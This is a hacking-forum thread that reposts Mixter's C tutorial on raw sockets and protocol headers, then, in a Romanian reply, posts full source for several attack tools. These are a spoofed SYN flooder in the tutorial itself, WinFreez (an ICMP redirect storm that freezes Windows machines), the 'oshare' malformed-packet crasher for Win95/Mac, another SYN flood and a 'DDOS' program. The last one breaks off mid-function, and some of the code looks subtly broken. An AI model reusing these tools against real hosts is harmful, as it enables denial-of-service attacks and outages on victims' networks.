Jump to content
Nytro

A brief programming tutorial in C for raw sockets

Recommended Posts

A brief programming tutorial in C for raw sockets

by Mixter for the BlackCode Magazine

.mixter security | .home or Warrior2k.com - warrior2k Resources and Information.

1. Raw sockets

2. The protocols IP, ICMP, TCP and UDP

3. Building and injecting datagrams

4. Basic transport layer operations

In this tutorial, you'll learn the basics of using raw sockets in C, to insert any IP protocol based datagram into the network traffic. This is useful,for example, to build raw socket scanners like nmap, to spoof or to perform operations that need to send out raw sockets. Basically, you can send any packet at any time, whereas using the interface functions for your systems IP-stack (connect, write, bind, etc.) you have no direct control over the packets. This theoretically enables you to simulate the behavior of your OS's IP stack, and also to send stateless traffic (datagrams that don't belong to a valid connection). For this tutorial, all you need is a minimal knowledge of socket programming in C (see Beej's Guide to Network Programming).

I. Raw sockets

The basic concept of low level sockets is to send a single packet at one time, with all the protocol headers filled in by the program (instead of the kernel). Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we'll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.

The (simplified) link layer model looks like this:

Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->

Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)

Now to some practical stuff. A standard command to create a datagram socket is: socket (PF_INET, SOCK_RAW, IPPROTO_UDP); From the moment that it is created, you can send any IP packets over it, and receive any IP packets that the host received after that socket was created if you read() from it. Note that even though the socket is an interface to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for udp and 1 for icmp).

With this knowledge, we can, for example, already create a small sniffer, that dumps out the contents of all tcp packets we receive. (Headers, etc. are missing, this is just an example. As you see, we are skipping the IP and TCP headers which are contained in the packet, and print out the payload, the data of the session/application layer, only).

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char buffer[8192]; /* single packets are usually not bigger than 8192 bytes */
while (read (fd, buffer, 8192) > 0)
printf ("Caught tcp packet: %s\n",
buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));

II. The protocols IP, ICMP, TCP and UDP

To inject your own packets, all you need to know is the structures of the protocols that need to be included. Below you will find a short introduction to the IP, ICMP, TCP and UDP headers. It is recommended to build your packet by using a struct, so you can comfortably fill in the packet headers. Unix systems provide standard structures in the header files (eg. ). You can always create your own structs, as long as the length of each option is correct. To help you create portable programs, we'll use the BSD names in our structures. We'll also use the little endian notation. On big endian machines (some other processor architectures than intel x86), the 4 bit-size variables exchange places. However, one can always use the structures in the same ways in this program. Below each header structure is a short explanation of its members, so that you know what values should be filled in and which meaning they have.

The data types/sizes we need to use are: unsigned char - 1 byte (8 bits), unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)

struct ipheader {
unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */

The Internet Protocol is the network layer protocol, used for routing the data from the source to its destination. Every datagram contains an IP header followed by a transport layer protocol such as tcp.

ip_hl: the ip header length in 32bit octets. this means a value of 5 for the hl means 20 bytes (5 * 4). values other than 5 only need to be set it the ip header contains options (mostly used for routing)

ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)

ip_tos: type of service controls the priority of the packet. 0x00 is normal. the first 3 bits stand for routing priority, the next 4 bits for the type of service (delay, throughput, reliability and cost).

ip_len: total length must contain the total length of the ip datagram. this includes ip header, icmp or tcp or udp header and payload size in bytes.

ip_id: the id sequence number is mainly used for reassembly of fragmented IP datagrams. when sending single datagrams, each can have an arbitrary ID.

ip_off: the fragment offset is used for reassembly of fragmented datagrams. the first 3 bits are the fragment flags, the first one always 0, the second the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is the fragment offset, containing the number of 8-byte big packets already sent.

ip_ttl: time to live is the amount of hops (routers to pass) before the packet is discarded, and an icmp error message is returned. the maximum is 255.

ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or whatever protocol follows the ip header. look in /etc/protocols for more.

ip_sum: the datagram checksum for the whole ip datagram. every time anything in the datagram changes, it needs to be recalculated, or the packet will be discarded by the next router. see V. for a checksum function.

ip_src and ip_dst: source and destination IP address, converted to long format, e.g. by inet_addr(). both can be chosen arbitrarily.

IP itself has no mechanism for establishing and maintaining a connection, or even containing data as a direct payload. Internet Control Messaging Protocol is merely an addition to IP to carry error, routing and control messages and data, and is often considered as a protocol of the network layer.

struct icmpheader {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short int icmp_cksum;
/* The following data structures are ICMP type specific */
unsigned short int icmp_id;
unsigned short int icmp_seq;
}; /* total icmp header length: 8 bytes (=64 bits) */

icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 - destination unreachable. look in for all the types.

icmp_code: this is significant when sending an error message (unreach), and specifies the kind of error. again, consult the include file for more.

icmp_cksum: the checksum for the icmp header + data. same as the IP checksum. Note: The next 32 bits in an icmp packet can be used in many different ways. This depends on the icmp type and code. the most commonly seen structure, an ID and sequence number, is used in echo requests and replies, hence we only use this one, but keep in mind that the header is actually more complex.

icmp_id: used in echo request/reply messages, to identify the request

icmp_seq: identifies the sequence of echo messages, if more than one is sent.

The User Datagram Protocol is a transport protocol for sessions that need to exchange data. Both transport protocols, UDP and TCP provide 65535 different source and destination ports. The destination port is used to connect to a specific service on that port. Unlike TCP, UDP is not reliable, since it doesn't use sequence numbers and stateful connections. This means UDP datagrams can be spoofed, and might not be reliable (e.g. they can be lost unnoticed), since they are not acknowledged using replies and sequence numbers.

struct udpheader {
unsigned short int uh_sport;
unsigned short int uh_dport;
unsigned short int uh_len;
unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */

uh_sport: The source port that a client bind()s to, and the contacted server will reply back to in order to direct his responses to the client.

uh_dport: The destination port that a specific server can be contacted on.

uh_len: The length of udp header and payload data in bytes.

uh_check: The checksum of header and data, see IP checksum.

The Transmission Control Protocol is the mostly used transport protocol that provides mechanisms to establish a reliable connection with some basic authentication, using connection states and sequence numbers. (See IV. Basic transport layer operations.)

struct tcpheader {
unsigned short int th_sport;
unsigned short int th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_x2:4, th_off:4;
unsigned char th_flags;
unsigned short int th_win;
unsigned short int th_sum;
unsigned short int th_urp;
}; /* total tcp header length: 20 bytes (=160 bits) */

th_sport: The source port, which has the same function as in UDP.

th_dport: The destination port, which has the same function as in UDP.

th_seq: The sequence number is used to enumerate the TCP segments. The data in a TCP connection can be contained in any amount of segments (=single tcp datagrams), which will be put in order and acknowledged. For example, if you send 3 segments, each containing 32 bytes of data, the first sequence would be (N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the initial sequence is random.

th_ack: Every packet that is sent and a valid part of a connection is acknowledged with an empty TCP segment with the ACK flag set (see below), and the th_ack field containing the previous the_seq number.

th_x2: This is unused and contains binary zeroes.

th_off: The segment offset specifies the length of the TCP header in 32bit/4byte blocks. Without tcp header options, the value is 5.

th_flags: This field consists of six binary flags. Using bsd headers, they can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...

TH_URG: Urgent. Segment will be routed faster, used for termination of a connection or to stop processes (using telnet protocol).

TH_ACK: Acknowledgement. Used to acknowledge data and in the second and third stage of a TCP connection initiation (see IV.).

TH_PSH: Push. The systems IP stack will not buffer the segment and forward it to the application immediately (mostly used with telnet).

TH_RST: Reset. Tells the peer that the connection has been terminated.

TH_SYN: Synchronization. A segment with the SYN flag set indicates that client wants to initiate a new connection to the destination port.

TH_FIN: Final. The connection should be closed, the peer is supposed to answer with one last segment with the FIN flag set as well.

th_win: Window. The amount of bytes that can be sent before the data should be acknowledged with an ACK before sending more segments.

th_sum: The checksum of pseudo header, tcp header and payload. The pseudo is a structure containing IP source and destination address, 1 byte set to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes (unsigned short) containing the total length of the tcp segment.

th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It points to the end of the payload data that should be sent with priority.

III. Building and injecting datagrams

Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s). We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder).

#define __USE_BSD	/* use bsd'ish ip header */
#include /* these headers are for a Linux system, but */
#include /* the names on other systems are easy to guess.. */
#include
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include
#include

#define P 25 /* lets flood the sendmail port */

unsigned short /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

int
main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */
char datagram[4096]; /* this buffer will contain ip header, tcp header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */

sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

memset (datagram, 0, 4096); /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */
iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (1234); /* arbitrary port */
tcph->th_dport = htons (P);
tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
tcph->th_x2 = 0;
tcph->th_off = 0; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl (65535); /* maximum allowed window size */
tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->th_urp = 0;

iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
that the kernel knows the header is included in the data, and doesn't
insert its own header into the packet before our data */

{ /* lets do it the ugly way.. */
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");
}

while (1)
{
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->ip_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("error\n");
else
printf (".");
}

return 0;
}

IV. Basic transport layer operations

To make use of raw packets, knowledge of the basic IP stack operations is essential. I'll try to give a brief introduction into the most important operations in the IP stack. To learn more about the behavior of the protocols, one option is to exame the source for your systems IP stack, which, in Linux, is located in the directory /usr/src/linux/net/ipv4/. The most important protocol, of course, is TCP, on which I will focus on.

Connection initiation: to contact an udp or tcp server listening on port 1234, the client calls a connect() with the sockaddr structure containing destination address and port. If the client did not bind() to a source port, the systems IP stack will select one it'll bind to. By connect()ing, the host sends a datagram containing the following information: IP src: client address, IP dest: servers address, TCP/UDP src: clients source port, TCP/UDP dest: port 1234. If a client is located on port 1234 on the destination host, it will reply back with a datagram containing: IP src: server IP dst: client srcport: server port dstport: clients source port. If there is no server located on the host, an ICMP type unreach message is created, subcode "Connection refused". The client will then terminate. If the destination host is down, either a router will create a different ICMP unreach message, or the client gets no reply and the connection times out.

TCP initiation ("3-way handshake") and connection: The client will do a connection initiation, with the tcp SYN flag set, an arbitrary sequence number, and no acknowledgement number. The server acknowledges the SYN by sending a packet with SYN and ACK set, another random sequence number and the acknowledgement number the original sequence. Finally, the client replies back with a tcp datagram with the ACK flag set, and the server's ack sequence incremented by one. Once the connection is established, each tcp segment will be sent with no flags (PSH and URG are optional), the sequence number for each packet incremented by the size of the previous tcp segment. After the amount of data specified as "window size" has been transferred, the peer sending data will wait for an acknowledgement, a tcp segment with the ACK flag set and the ack sequence number the one of the last data packet that could be received in order. That way, if any segments get lost, they will not be acknowledged and can be retransmitted. To end a connection, both server and client send a tcp packet with correct sequence numbers and the FIN flag set, and if the connection ever de-synchronizes (aborted, desynchronized, bad sequence numbers, etc.) the peer that notices the error will send a RST packet with correct seq numbers to terminate the connection.

- Mixter

Link to comment
Share on other sites

Foarte bun tutorialul, dar merge numai pe Linux. O sa postez mai multe surse de pe net care fac diferite lucruri folosind socket-uri (tot pentru Linux).

EDIT:

Toate programele sunt prezentate doar in scopuri educative si se gasesc si pe net.

WinFreez.c


/*
WinFreez.c by Delmore <delmore@moscowmail.com>

ICMP/Redirect-host message storm freeze Win9x/NT(sp4) box
in LAN.

Usage: winfreez sendtoip sendfromip time
where <sendtoip> is victim host, <sendfromip> is router
for victim host, <time> is time in seconds to freeze victim.

Note:
I've written small exploit for freeze win9x/nt boxes in LAN.
Proggy initiates ICMP/Redirect-host messages storm from router
(use router ip). Windows will receive redirect-host messages
and change own route table, therefore it will be frozen
or slowly working during this time.

On victim machine route table changes viewing with:
ROUTE PRINT
command in ms-dos box.

Exploit show different result for different system configuration.

System results:

p200/16ram/win95osr2 is slowly execute application
after 20 seconds of storm.

p233/96ram/nt4-sp4 is slowly working after 30
seconds of storm.

p2-266/64ram/win95 working slowly and can't normal execute
application.


Compiled on RedHat Linux 5, Kernel 2.0.35 (x86)
gcc ./winfreez.c -o winfreez

--- for Slackware Linux, Kernel 2.0.30
If you can't compile due to ip_sum not defined errors,
replace (line 207):
ip->ip_sum = 0;
to line:
ip->ip_csum = 0;
---

Soldiers Of Satan group
Russia, Moscow State University, 05 march 1999
http://sos.nanko.ru

Thanx to Mark Henderson.

*/

#define ICMP_REDIRECT 5

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/errno.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
/* #include <netinet/ip_icmp.h> */

/*
* Structure of an icmp header (from sparc header).
*/

struct icmp {
u_char icmp_type; /* type of message, see below */
u_char icmp_code; /* type sub code */
u_short icmp_cksum; /* ones complement cksum of struct */

union {
u_char ih_pptr; /* ICMP_PARAMPROB */
struct in_addr ih_gwaddr; /* ICMP_REDIRECT */
struct ih_idseq {
n_short icd_id;
n_short icd_seq;
} ih_idseq;

int ih_void;
} icmp_hun;

#define icmp_pptr icmp_hun.ih_pptr
#define icmp_gwaddr icmp_hun.ih_gwaddr
#define icmp_id icmp_hun.ih_idseq.icd_id
#define icmp_seq icmp_hun.ih_idseq.icd_seq
#define icmp_void icmp_hun.ih_void

union {
struct id_ts {
n_time its_otime;
n_time its_rtime;
n_time its_ttime;
} id_ts;

struct id_ip {
struct ip idi_ip;
/* options and then 64 bits of data */
} id_ip;

u_long id_mask;
char id_data[1];
} icmp_dun;

#define icmp_otime icmp_dun.id_ts.its_otime
#define icmp_rtime icmp_dun.id_ts.its_rtime
#define icmp_ttime icmp_dun.id_ts.its_ttime
#define icmp_ip icmp_dun.id_ip.idi_ip
#define icmp_mask icmp_dun.id_mask
#define icmp_data icmp_dun.id_data

};


u_short in_cksum (u_short *addr, int len);
void attack( char *sendtoip, char *sendfromip, time_t wtime, int s );


int main (int argc, char **argv)
{
time_t wtime;
char *sendtoip, *sendfromip;
int s, on;

if (argc != 4)
{
fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]);
exit (1);
}

sendtoip = (char *)malloc(strlen(argv[1]) + 1);
strcpy(sendtoip, argv[1]);

sendfromip = (char *)malloc(strlen(argv[2]) + 1);
strcpy(sendfromip, argv[2]);

wtime = atol(argv[3]);

if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf (stderr, "socket creation error\n" );
exit (1);
}

#ifdef IP_HDRINCL
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
{
fprintf (stderr, "sockopt IP_HDRINCL error\n" );
exit (1);
}
#endif

printf("winfreez by Delmore, <delmore@moscowmail.com>\n");
printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n");
printf("sendto = %s\n", sendtoip);
printf("sendfrom = %s\n", sendfromip);
printf("time = %i s\n", wtime);

attack( sendtoip, sendfromip, wtime, s );

free( (void *) sendtoip );
free( (void *) sendfromip );
}


void attack( char *sendtoip, char *sendfromip, time_t wtime, int s )
{
time_t curtime, endtime;
int i1, i2, i3, i4;
char redir[21];
char buf[100];
struct ip *ip = (struct ip *) buf;
struct icmp *icmp = (struct icmp *) (ip + 1);
struct hostent *hp;
struct sockaddr_in dst;

if(wtime==0) return;

if ((hp = gethostbyname (sendtoip)) == NULL)
if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1)
{
fprintf (stderr, "%s: unknown sendto\n", sendtoip);
exit (1);
}

if ((hp = gethostbyname (sendfromip)) == NULL)
if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1)
{
fprintf (stderr, "%s: unknown sendfrom\n", sendfromip);
exit (1);
}

endtime = time(NULL) + wtime;

srand((unsigned int) endtime);

do {
bzero (buf, sizeof buf);

/* sendto/gateway */
hp = gethostbyname (sendtoip);
bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);

/* sendfrom */
hp = gethostbyname (sendfromip);
bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

/* generate redirect*/
i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0));
i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));

bzero (redir, sizeof redir);
sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 );

hp = gethostbyname (redir);
bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);

ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons (sizeof buf);
ip->ip_id = htons (4321);
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills this in */

bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof
(ip->ip_dst.s_addr));
icmp->icmp_ip.ip_v = 4;
icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
icmp->icmp_ip.ip_tos = 0;
icmp->icmp_ip.ip_len = htons (100); /* doesn't matter much */
icmp->icmp_ip.ip_id = htons (3722);
icmp->icmp_ip.ip_off = 0;
icmp->icmp_ip.ip_ttl = 254;
icmp->icmp_ip.ip_p = 1;
icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_REDIRECT;
icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */
icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof
(*ip));

if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) <
0 )
{
fprintf (stderr, "sendto error: %d\n",errno);
exit (1);
}

}while (time(NULL)!=endtime);
}

/*
* in_cksum -- Checksum routine for Internet Protocol family headers (C
* Version) - code from 4.4 BSD
*/
u_short in_cksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}

Cu programul urmator win95-ul si Mac-ul mai vechi picau (la win95 aparea ecran albastru).


/****************************************************************************/
/* [ oshare_1_gou ver 0.1 ] -- Dressing up No.1 -- */
/* */
/* */
/* This program transmits the "oshare" packet which starts a machine aga- */
/* in or crash. But, because it can't pass through the router, it can be */
/* carried out only in the same segment. */
/* "oshare packet" is (frag 39193:-4@65528+), If ihl and tot_len are cha- */
/* nged, it has already tested that it becomes possible to kill Mac, too. */
/* ----------------------------------------- */
/* Written by R00t Zer0 */
/* E-Mail : defcon0@ugtop.com */
/* Web URL : http://www.ugtop.com/defcon0/index.htm */
/****************************************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

u_short in_cksum( u_short *, int );
int send_oshare_packet( int, u_long );



u_short
in_cksum( u_short *addr, int len )
{
int nleft = len;
u_short *w = addr;
int sum = 0;
u_short answer = 0;

while( nleft > 1 )
{
sum += *w++;
nleft -= 2;
}

if (nleft == 1)
{
*( u_char *)( &answer ) = *( u_char *)w;
sum += answer;
}

sum = ( sum >> 16 ) + ( sum & 0xffff );
sum += ( sum >> 16 );
answer = ~sum;
return( answer );
}



int
send_oshare_packet( int sock_send, u_long dst_addr )
{
char *packet;
int send_status;
struct ip *ip;
struct sockaddr_in to;
long lll;

packet = ( char *)malloc( 40 );
ip = ( struct ip *)( packet );
memset( packet, 0, 40 );

ip->ip_v = 4;
// ip->ip_hl = 11;
ip->ip_tos = 0x00;
// ip->ip_len = htons( 44 );
ip->ip_id = htons( 1999 );
ip->ip_off = htons( 16383 );
ip->ip_ttl = 0xff;
ip->ip_p = IPPROTO_UDP;
ip->ip_hl = rand() % 16;
ip->ip_len = rand() % 0xffff;
lll=(long)htonl( inet_addr( "1.1.1.1" ));
memcpy(&ip->ip_src,&lll,sizeof(long));
memcpy(&ip->ip_dst,&dst_addr,sizeof(long));
ip->ip_sum = in_cksum( ( u_short *)ip, 44 );

to.sin_family = AF_INET;
to.sin_port = htons( 0x123 );
to.sin_addr.s_addr = dst_addr;

send_status = sendto( sock_send, packet, 40, 0,
( struct sockaddr *)&to, sizeof( struct sockaddr ) );

free( packet );
return( send_status );
}



int
main( int argc, char *argv[] )
{
char tmp_buffer[ 1024 ];
int loop, loop2;

int sock_send;
u_long src_addr, dst_addr;
u_short src_port, dst_port;

struct hostent *host;
struct sockaddr_in addr;

time_t t;

if( argc != 3 )
{
printf( "Usage : %s <dst addr> <num(k)>\n", argv[0] );
exit( -1 );
}

t = time( 0 );
srand( ( u_int )t );


memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr( argv[1] );
if( addr.sin_addr.s_addr == -1 )
{
host = gethostbyname( argv[1] );
if( host == NULL )
{
printf( "Unknown host %s.\n", argv[1] );
exit( -1 );
}
addr.sin_family = host->h_addrtype;
memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length );
}
memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 );


if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1)
{
perror( "Getting raw send socket" );
exit( -1 );
}


printf( "\n\"Oshare Packet\" sending" );
fflush( stdout );
for( loop = 0; loop < atoi( argv[2] ); loop++ )
{
for( loop2 = 0; loop2 < 1000; loop2++ )
send_oshare_packet( sock_send, dst_addr );
fprintf( stderr, "." );
fflush( stdout );
}
printf( "\n\nDone.\n\n" );
fflush( stdout );

close( sock_send );
exit( 0 );
}

Syn Flood:


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define DST_PORT 137
static char *dst_addr = "127.0.0.1";


struct pseudo_header
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
}__attribute__ ((packed));

int create_raw_socket(void);
int send_frag_ip_pkt(int);
u_short in_cksum(u_short *, int);

static u_short ip_id = 0x789;

int main(int argc, char *argv[])
{
int sock = create_raw_socket();
int n = 0;

if(argc>=2) {
dst_addr = argv[1];
}

srand(time(NULL));

while(1) {

printf("%d: Sending IP packet ... ", n++);
fflush(stdout);
if(send_frag_ip_pkt(sock)<0) {
perror("sendto");
return -1;
}

printf("done\n");

if( (n%1000)==0 )
sleep(1);

}

close(sock);

return 0;
}

int create_raw_socket(void)
{
int sock;
int on = 1;

sock = socket(AF_INET, SOCK_RAW,IPPROTO_ICMP);
if(sock<0) {
perror("socket");
exit(1);
}

if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))<0) {
perror("setsockopt");
exit(1);
}

return sock;
}

int send_frag_ip_pkt(int sd)
{
struct sockaddr_in sin;
unsigned char buf[20 + 20 +4];
unsigned char chkbuf[512];

char local_addr[32];
struct iphdr *iph;
struct tcphdr*tcph;
struct pseudo_header *ph;
u_short *port;
int i;

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(dst_addr);
sin.sin_port = 0;

sprintf(local_addr, "192.168.0.%u", 1 + ((unsigned)rand())%253 );

memset(buf, 0, sizeof(buf));

iph = (struct iphdr *)buf;
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(buf);
iph->id = ip_id++;
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr(local_addr);
iph->daddr = inet_addr(dst_addr);

iph->check = in_cksum((u_short *)buf, 20);

tcph = (struct tcphdr *)&buf[20];

tcph->source= htons((u_short)(2000 + rand() % 1000));
tcph->dest = htons(DST_PORT);
tcph->seq = (unsigned short)rand();
tcph->ack_seq = 0;
tcph->doff = 6; /* data offset */
tcph->syn = 1;

tcph->window= htons(8000);
tcph->check = 0;
tcph->urg_ptr = 0;

buf[40] = TCPOPT_MAXSEG;
buf[41] = 4;

*(unsigned short *)(buf + 42) = htons(1460);

ph->src_addr = iph->saddr;
ph->dst_addr = iph->daddr;
ph->zero = 0;
ph->proto = iph->protocol;
ph->length = htons(sizeof(buf) - sizeof(*iph));
memcpy(chkbuf + sizeof(*ph), &buf[sizeof(*iph)], sizeof(buf) - sizeof(*iph));

tcph->check = in_cksum((u_short *)chkbuf, sizeof(buf) - sizeof(*iph) + sizeof(*ph));

return sendto(sd, buf, sizeof(buf), 0,
(struct sockaddr *)&sin,
sizeof(sin));
}



u_short in_cksum(u_short *addr, int len)
{
int nleft = len;
int sum = 0;
u_short *w = addr;
u_short answer = 0;

while(nleft > 1) {
sum += *w;
w++;
nleft -= 2;
}

if(nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}

sum = (sum>>16) + (sum & 0xffff);
sum += (sum>>16);

answer = ~sum;

return answer;
}

DDOS:


#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>

#define DESTPORT 80
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

setuid(getpid());

send_tcp(sockfd,&addr);
}

void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];
struct ip *ip;
struct tcphdr *tcp;
int head_len;

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

